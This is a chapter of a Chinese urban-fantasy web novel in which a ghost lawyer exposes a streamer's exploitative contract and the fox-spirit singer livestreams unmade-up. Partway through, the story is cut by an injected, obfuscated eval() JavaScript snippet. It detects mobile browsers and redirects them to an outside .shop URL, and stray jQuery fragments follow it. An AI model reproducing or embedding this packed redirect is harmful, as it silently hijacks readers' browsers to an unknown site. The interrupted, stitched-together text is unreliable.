文趣网 > 都市小说 > 在线捉妖,替天行道 > 14. 鬼律师看阴阳合同
    第二天上午,苏瓷的工作室。

    苏瓷蹲在沙发上,茶几上还堆着上周的外卖盒。小九趴在沙发扶手上,尾巴垂下来,一下一下地晃。

    “姐,周明远什么时候来?”

    “约了九点半。”

    “现在九点三十五。”

    “鬼迟到很正常。他们不用赶地铁。”

    “那他们用什么?”

    “飘。”

    小九想了想,觉得有道理。

    门被人敲响了——很轻,像风把门吹动了一样的声音。苏瓷走过去拉开门,门外站着周明远,鞋底离地面两厘米,走过的走廊,灰尘没有被扰动。

    他穿着一件深色的西装,打着领带,头发梳得整整齐齐。看起来不像一个死了三年的鬼,更像一个刚从律师事务所下班的人。但仔细看,他的脸色是灰白色的,衣服的褶皱不会动,像是被时间固定住了。

    “苏小姐。”他飘了进来。

    “周律师。你迟到了。”

    “路上遇到一个熟人,聊了几句。”

    “鬼的熟人?”

    “嗯。土地公。他说他退休申请又没批下来,今年是第四年了。”

    “为什么?”

    “因为他的接班人还没找到。他推荐了老张,城隍庙说老张是河童,不是土地,专业不对口。”

    苏瓷想了想。“老张确实不适合。他喜欢水。”

    周明远在她对面坐下。他坐的时候,身体没有陷进沙发里,而是像悬浮在沙发上方一点点。小九盯着他看了半天,说:“你坐得很客气。”

    “我是鬼。鬼都坐得很客气。坐实了,就投胎了。”

    小九没听懂。但她觉得有道理。

    苏瓷从茶几底下掏出一沓纸——小九早上打印出来的,小美的经纪合同,密密麻麻几十页。纸张还带着打印机的温度,边角有点皱,是被辣条油渍浸过的痕迹。

    “周律师,这是合同。你帮看看。”

    周明远接过合同,翻了翻。他的手指很白——死人特有的那种白。但翻纸的动作很快,像一台扫描仪。一页,两页,三页。翻到第十七页的时候,他停了一下。

    “这份合同有问题。”

    “什么问题?”

    “阴阳合同。”他把合同翻到某一页,指着一行小字,“表面上的经纪约,分成比例是七三——公司七,艺人三。但你看附件三,补充条款:艺人需承担直播间的礼物税、平台抽成、运营成本、场地费、化妆费、服装费。扣除之后,实际到手不到一成。”

    苏瓷凑过去看了一眼。那行字很小。比辣条包装袋上的配料表还小。不仔细看,根本看不见。她抬头看了一眼小九的视力——狐狸的眼睛比人好,小九肯定看得到。但小九没说话,因为她在吃辣条。

    “还有呢?”苏瓷问。

    “还有第十七页,附件四。”周明远又翻了一页,“这里写着:公司有权对艺人的外貌进行‘合理调整’。”

    “合理调整是什么意思?”

    “整容。”

    苏瓷的眉头皱了一下。“小美不想整。”

    “合同上写着‘有权’。公司不需要她同意。只要公司认为‘合理’,就可以安排。”

    “这不是卖身契吗?”

    周明远看着她。“是的。但法律上,这叫‘经纪合同’。签了字,就是双方自愿。”

    苏瓷沉默了一下。“能打官司吗?”

    “能。但需要小美配合。”

    “配合什么?”

    “打官司。起诉合同显失公平,要求解约。”

    “胜算多少?”

    周明远想了想。“六成。看法官。”

    “为什么不是十成?”

    “因为合同是她签的。签字了,就是知情。法官不会管她有没有看。只会管她有没有签字。”

    苏瓷看着那份合同,沉默了很久。她拿起一根辣条,咬了一口,嚼着嚼着,忽然说:“不打官司呢?”

    “不打官司,就让公司主动解约。”

    “怎么让公司主动解约?”

    周明远看着她。“让她做自己。”

    苏瓷愣了一下。“做自己?”

    “做自己。不整容。不修音。不穿亮片短裙。不跟粉丝互动。不谢礼物。不笑。”周明远顿了顿,“公司要的是商品。她不做商品,公司就不会留她。”

    “那违约金呢?”

    “违约金的前提是‘她违约’。如果她只是‘不听话’,合同里没写‘必须穿亮片短裙’,没写‘必须化妆’,没写‘必须跟粉丝互动’。只写了‘配合公司安排’。”

    “‘配合’是什么意思?”

    “‘配合’不是‘服从’。公司安排她穿亮片短裙,她穿了。这叫配合。她穿了但没笑,合同没写必须笑。她穿了但跳舞跳错了,合同没写必须跳对。她穿了但唱歌跑调——合同没写必须唱准。”

    苏瓷看着周明远。“周律师,你这是在教她钻空子。”

    “不是钻空子。是在空子里呼吸。”周明远说,“合同是公司写的。空子是公司留的。他们用空子坑她。我们用空子救她。这叫以子之矛,陷子之盾。”

    苏瓷想了想。“鬼说话都这么有道理吗?”

    “不是。只有死了的律师才这样。活着的时候,我也怕。”

    苏瓷把合同收好。“周律师,谢谢你。”

    “不用谢。写律师函的时候,我再来。”

    周明远站起来,飘向门口。走到门口,他停了一下,回头看了一眼小九。“小九,你上次帮老张写的检讨,赵科长让我转告你:下次不要代写。”

    小九把脸埋进尾巴里。“我没代写。我只是帮他按了发送键。”

    “那检讨的内容是谁想的?”

    “他自己想的。”

    周明远沉默了一下。“‘我知道错了,但不知道错在哪。下次再犯。’这是他想的?”

    “嗯。他原话。”

    周明远看了看苏瓷。苏瓷点了点头。周明远没再问,飘走了。

    门关上了。

    苏瓷转头看向小九。“你猜赵科长看到那份检讨的时候,什么表情?”

    小九从尾巴后面露出一只眼睛。“沉默了很久。然后说‘算了’。”

    苏瓷笑了。“算了。这两个字,比任何检讨都管用。”

    下午,小美来了工作室。

    她站在门口,穿着一件宽松的T恤,牛仔裤,头发没染——是黑色的,长长的,披在肩上。没化妆。苏瓷盯着她看了两秒钟。

    “你今天不一样。”

    “你不是说要做自己吗?”小美说,“我早上照镜子,想了很久。然后我卸了妆,把头发染回来了。”

    “你自己染的?”

    “嗯。用泡泡染。超市买的。”

    “效果好吗?”

    “不太均匀。后面染不到,让邻居帮忙染的。邻居手抖,染花了。”

    苏瓷看了看小美的头发。确实有点花。一块黑一块深棕,像斑马。

    “挺好的。”苏瓷说,“斑马也是马。”

    小美笑了一下,走进工作室。小九蹲在沙发上,盯着小美看了半天,然后说:“你眼睛比我大。”

    小美愣了一下。“谢谢?”

    “不是夸你。是陈述事实。”小九把脸转开,“我姐说,谦虚的人通常没什么本事。有本事的人不需要谦虚。所以我不谦虚。你眼睛确实比我大。”

    苏瓷看了小九一眼。“你今天怎么这么爱说实话?”

    “因为她是狐狸精。同类之间,不用客套。”小九想了想,又补了一句,“而且她没化妆。没化妆的时候说真话,不算冒犯。”

    苏瓷觉得有道理。

    “小美,坐。”苏瓷把沙发上的辣条包装袋推到一边,腾出一个位置。

    小美坐下。苏瓷从茶几底下掏出那份合同,放在桌上。

    “你的合同,我找人看过了。”

    “怎么样?”

    “阴阳合同。你实际到手不到一成。”

    小美的脸白了。

    “还有整容条款。公司有权让你整容。”

    小美的脸更白了。

    “违约金五百万。但如果你不想打官司,有另一个办法。”

    “什么办法?”

    “做自己。”

    小美愣了一下。“什么叫‘做自己’?”

    “就是——不整容。不修音。不穿亮片短裙。不想跟粉丝互动就不互动。不谢礼物。不笑。”

    小美看着她。“不笑?”

    “不笑。你不想笑的时候,就不笑。”

    小美低下头。“直播的时候,不能不笑。经纪人说了,观众喜欢看你笑。”

    “观众喜欢看你笑,还是喜欢看商品笑?”

    小美想了想。“……不知道。”

    “那你自己喜欢什么?”

    小美想了很久。“我喜欢唱歌。”

    “那就唱。不想笑就不笑。”

    “可是——”

    “没有可是。”苏瓷说,“合同没写必须笑。只写了‘配合公司安排’。你穿了亮片短裙,你唱了歌,你配合了。笑不笑,是另一回事。”

    小美沉默了很久。

    “苏大师。”

    “嗯?”

    “你这样帮我,不怕惹麻烦吗?”

    “什么麻烦?”

    “星曜传媒的老板,听说跟城隍庙有关系。”

    苏瓷嚼辣条的动作停了一下。“什么关系?”

    “听说他老婆的妹妹的公公的表弟,是城隍爷身边的秘书。”

    苏瓷算了算这个关系链。绕了五层。她想起土地公说过的话——“去年转正的那个河童,是城隍爷小舅子的老婆的表弟。”绕了三层。这个绕了五层,更远了。

    “那又怎样?”

    “你不怕?”

    “我怕什么?”苏瓷把辣条吃完,“我又不是城隍爷的下属。”

    “那你是什么?”

    “我是捉妖师。个体户。没有领导。”

    小美没听懂。但她觉得苏瓷挺厉害的。

    “小美。”

    “嗯?”

    “明天开始,你在工作室直播。”

    “工作室?”

    “嗯。我帮你选的地方。环境好。有沙发,有辣条,有狐狸精。不会有人打扰你。”

    小美环顾了一下工作室。墙上贴着符纸,茶几上堆着辣条包装袋,墙角的路由器外壳开裂,沙发的扶手上蹲着一只正在吃辣条的狐狸精。

    “你确定这里环境好?”小美问。

    “免费的。”苏瓷说。

    小美想了想。“行。”

    第二天下午,工作室。

    小美架好手机支架,打开补光灯,调好麦克风。她穿着一件普通的卫衣,没化妆,头发随便扎了个低马尾。小九蹲在沙发扶手上,苏瓷躺在另一张沙发上吃辣条。

    小美深吸一口气,点开直播软件。

    直播间里,在线人数从0变成了1。那个1是苏瓷。苏瓷用自己的手机点进去,打了一行字。

    【穷鬼捉妖师:开始吧。】

    小美唱了第一首歌。没有伴奏,没有修音,就是她的声音。她唱了一首老歌,声音很轻,像风吹过湖面。

    在线人数从1变成了3。从3变成了7。从7变成了15。

    有人开始评论了。

    “这谁啊?没化妆?”

    “唱歌还行。但背景好乱。墙上贴的是符纸?”

    “这是道士直播间?”

    “不是道士。是捉妖师。你看账号名。”

    “穷鬼捉妖师?什么鬼?”

    “声音挺好听的。”

    “没修音吧?听着像原声。”

    “原声怎么了?原声好听啊。”

    苏瓷看了一眼评论,没说话。她继续吃辣条。

    小美没有看评论。她闭着眼睛,唱完了第一首。然后第二首。第三首。

    在线人数从15变成了32。从32变成了58。

    有人认出了她。

    “这不是星曜传媒的小美吗?”

    “小美?那个跳舞的?”

    “她怎么不跳舞了?”

    “她怎么没化妆?”

    “背景是在哪儿?怎么还有符纸?”

    “她是不是跟公司闹翻了?”

    小美睁开眼睛,看着镜头。

    “大家好,我是小美。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510541|202976||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    直播间安静了。

    “今天我不跳舞。不穿亮片短裙。不化妆。不修音。”

    她的声音有些抖。

    “我就唱歌。唱我自己想唱的歌。”

    评论区炸了。

    “她疯了吧?”

    “公司不管她?”

    “这风格变得也太多了。”

    “我觉得挺好听的。之前那些歌都一个调。”

    “她之前都是假唱吧?”

    “不是假唱。是修音。修得跟机器人似的。”

    “现在这个声音像人。”

    “像人就是好听?”

    “不像人的好听吗?”

    评论区吵起来了。

    小美看着那些字,眼眶红了。但她没有哭。她深吸一口气,闭上眼睛,唱了第四首。

    是她的原创。没有发表过。没有给任何人听过。

    歌词是关于一只狐狸精,从山里来到城市,想唱歌。但城里的人不喜欢听她唱。他们喜欢看她跳舞,看她穿亮片短裙,看她笑。但她不想笑。她想唱歌。

    小美唱完了。

    直播间里,安静了三秒钟。

    然后评论开始刷。

    “这歌谁写的?”

    “好听。”

    “真的假的?她自己写的?”

    “狐狸精?她在唱她自己?”

    “不管是不是自己写的。好听。”

    “再来一首!”

    在线人数从58变成了112。从112变成了203。

    小美看着那个数字,眼泪掉下来了。她没有擦。她继续唱。

    唱了一首又一首。

    苏瓷躺在沙发上,吃辣条。小九蹲在扶手上,尾巴在晃。

    “姐。”小九小声说。

    “嗯?”

    “她唱得真好。”

    “嗯。”

    “比直播的时候好。”

    “嗯。因为以前她不是唱给自己听的。”

    小九没听懂。但她觉得苏瓷说得对。

    小美唱完了最后一首歌,关掉直播。她坐在沙发上,看着手机屏幕。在线人数最终停在了三百二十一人。

    “苏大师。”

    “嗯?”

    “今天在线人数最高的时候,是三百二十一人。”

    “嗯。”

    “以前我直播的时候,在线人数是三千。”

    “嗯。”

    “少了十倍。”

    “嗯。”

    “但我觉得——今天比任何时候都开心。”

    苏瓷看着她。“为什么?”

    “因为今天听我唱歌的人,是来听我唱歌的。不是来看我穿亮片短裙的。不是来看我跳舞的。不是来看我笑的。”

    她看着手机屏幕上那些评论——“好听”“再来一首”“这歌谁写的”。

    “他们是来听我唱歌的。”

    苏瓷从口袋里掏出最后一包辣条,拆开,递了一根给小美。

    “吃吗?”

    “吃。”

    小美接过辣条,咬了一口。

    “辣。”

    “废话。”

    小美笑了。眼泪还没干,但笑了。

    “苏大师。”

    “嗯?”

    “谢谢你。”

    “不用谢。”

    “我明天还能来你工作室直播吗?”

    “能。但别把辣条包装袋扔地上。小九要收拾。”

    小九从扶手上探出头。“我不收拾。谁吃的谁收拾。”

    苏瓷看着她。“你吃的。”

    “我吃的我收拾。”小九跳下沙发,把地上的辣条包装袋叼起来,扔进垃圾桶。然后又跳回沙发上,继续蹲着。

    苏瓷觉得小九最近懂事了不少。可能是因为小美来了,她要表现得像个大人——不对,大狐狸。

    与此同时,城西,捉妖总局第三分局。

    林砚坐在办公室里,面前摆着一份报告。标题是《关于城西电击事件的初步调查报告》。他写了删,删了写。写了三行,删了两行。写了五段,删了三段。

    他写不下去。

    他不知道该怎么定性。是“妖怪失控伤人”,还是“公司压榨导致妖怪失控”?前者,收服小美,结案。后者,要查星曜传媒,要打官司,要写无数份报告,要跟城隍庙扯皮,要得罪人。

    他的手指在键盘上停了很久。

    然后他拿起手机,给苏瓷发了条消息。

    【林砚:小美的事,你打算怎么处理?】

    苏瓷秒回了。

    【苏瓷:让她唱歌。】

    【林砚:我不是问这个。我问的是——怎么让她不再伤人。】

    【苏瓷:她不伤人。她只是太累了。让她休息,她就不失控了。】

    林砚盯着这条消息看了很久。

    【林砚:三天。】

    【苏瓷:又三天?】

    【林砚:三天之内,如果她再失控一次,我会按规矩办。】

    【苏瓷:你上次也说三天。再上次也说三天。你的三天到底是几天?】

    林砚没有回复。

    他把手机放下,看着窗外。天快黑了,路灯还没亮。他想起苏瓷说的那句话——“你是想解决一个人,还是想解决一个问题?”

    他忽然觉得,他以前只想解决问题。现在他发现,问题是一个人。人不是问题。

    林砚闭上眼睛。

    他决定,再给苏瓷三天。不是因为她说的对。是因为他还没想明白。

    苏瓷躺在沙发上,看着天花板。小美在对面坐着,还在看手机上的评论。

    “苏大师。”

    “嗯?”

    “你说,公司会来找我吗?”

    “会。”

    “什么时候?”

    “快了。”

    “那我怎么办?”

    苏瓷想了想。“你唱歌。你只管唱歌。其他的,我来。”

    小美看着她。“你来?”

    “嗯。我来。”苏瓷说,“我是捉妖师。捉妖师除了捉妖,也会捉人。”

    “捉人?”

    “捉不讲理的人。”

    小美没听懂。但她觉得苏瓷挺厉害的。